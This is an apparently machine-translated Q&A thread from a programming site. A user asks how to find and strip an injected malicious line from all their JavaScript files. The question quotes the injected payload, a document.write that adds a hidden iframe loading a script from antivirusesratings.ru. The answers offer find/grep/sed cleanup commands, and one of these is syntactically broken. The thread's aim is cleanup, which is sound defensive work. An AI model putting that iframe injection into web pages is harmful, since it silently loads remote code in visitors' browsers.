0

我正在尝试在所有 js 文件中查找一个字符串(在所有子文件夹中递归),并在可能的情况下删除该字符串并显示处理了哪个文件(这样我以后可以检查它)。

我能够找到字符串。

grep -lr --include="*.js" "antivirusesratings.ru" .

并且这样:(不确定这两种方法是否有区别?)

find ./ -type f | xargs grep -l "antivirusesratings.ru"

所以也许最后一个例子可以改变,以便它也删除字符串。现在我想起来了。我要删除的字符串有引号。不知道如何为以下字符串执行此操作,我真的想在任何地方删除它。

;document.write('<iframe src="http://antivirusesratings.ru/thenautoreplies.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>')

提前致谢。对此,我真的非常感激!

问候,

戈萨

4

3 回答 3

0

这是我在 unix.stackexchange.com 上找到的一个解决相同问题的函数:Deleting Lines Containing Containing a Specified String in different Files

它使用 查找所有grep包含特定字符串(antivirusesratings.ru适合您)的文件。然后,它将这些结果通过管道传递给sed使用d命令(行删除)来删除包含该字符串的行。

与往常一样,请确保在运行该脚本以批量替换文件之前备份您的目录。

于 2012-11-05T19:38:34.700 回答
0

我认为这就是你想要的:

find type -f -name "*.js" -exec sed -i 's/antivirusesratings.ru//g' {}
于 2012-11-05T19:39:00.740 回答
0

ssh可以接收命令作为它的最后一个参数,因此您应该提供 super-duper-command 来进行清理。

find为了清理文件,我认为将's-exec参数与 somegrep和输出重定向结合起来会很好。

说,对于找到的每个文件grep -v UGLY_LINE $FILE > $FILE,或类似的东西(我认为您可能必须使用临时文件,因为 FILE 重定向到本身不起作用 IIRC)。

尝试grep使用重定向,然后将其与 结合find,最后(也许有一些小转义)你应该把它放在里面ssh做你想做的事。

于 2012-11-05T19:34:45.213 回答